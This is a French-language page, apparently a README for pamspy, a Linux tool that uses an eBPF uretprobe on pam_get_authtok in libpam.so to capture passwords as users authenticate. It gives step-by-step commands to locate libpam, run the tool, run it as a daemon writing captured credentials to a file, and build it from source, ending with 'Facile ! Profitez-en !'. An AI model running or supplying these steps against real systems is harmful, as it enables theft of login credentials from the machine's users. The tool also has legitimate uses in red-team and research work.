
Dump d'identifiants pour Linux utilisant eBPF
pamspy exploite les technologies eBPF pour réaliser un travail équivalent à 3snake.
Il va suivre une fonction utilisateur particulière dans la bibliothèque PAM (Pluggable Authentication Modules), utilisée par de nombreuses applications critiques pour gérer l'authentification comme :

pamspy est construit comme un binaire statique sans aucune dépendance, et disponible sur la page des versions.
Usage: pamspy [OPTION...]
pamspy
Uses eBPF to dump secrets use by PAM (Authentication) module
By hooking the pam_get_authtok function in libpam.so
USAGE: ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /var/log/trace.0
-d, --daemon=PATH TO OUTPUT CREDENTIALS
Start pamspy in daemon mode and output in the file
passed as argument
-p, --path=PATH Path to the libpam.so file
-r, --print-headers Print headers of the program
-v, --verbose Verbose mode
-?, --help Give this help list
--usage Give a short usage message
-V, --version Print program version
Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.
Report bugs to .
Comme pamspy dépend de libpam, nous devons définir le chemin où libpam est installé sur votre distribution. Pour trouver où libpam est installé, vous pouvez exécuter la commande suivante :
> /usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4
/lib/x86_64-linux-gnu/libpam.so.0
Une fois que vous avez le chemin, vous pouvez lancer pamspy :
> ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0
Une façon simple de lancer pamspy est d'utiliser la commande suivante :
> ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4)
pamspy peut également être démarré en tant que démon en fournissant un fichier de sortie où les identifiants seront écrits :
./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /tmp/credentials
Pour construire le binaire statique, nous avons besoin de programmes tiers. Pour eBPF, nous avons besoin de clang pour compiler le code C en code eBPF CO-RE. Nous utilisons également bpftool pour créer un squelette à partir du programme ebpf à inclure dans notre programme utilisateur. Ensuite, nous avons aussi besoin de libelf pour trouver le symbole correct dans libpam.
sudo apt install make clang-11 gcc libelf-dev bpftool
Ensuite, il suffit de construire !
git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make
pamspy va charger un programme eBPF de sonde de retour en espace utilisateur pour accrocher la fonction pam_get_authtok de libpam.so. PAM signifie "Pluggable Authentication Modules", et a une conception flexible pour gérer différents types d'authentification sur Linux.
Chaque fois qu'un processus d'authentification tente de vérifier un nouvel utilisateur, il appellera pam_get_authtok, et nous serons là pour extraire le contenu des secrets critiques !
Facile ! Profitez-en !
Merci à @blendin pour l'outil 3snake !!!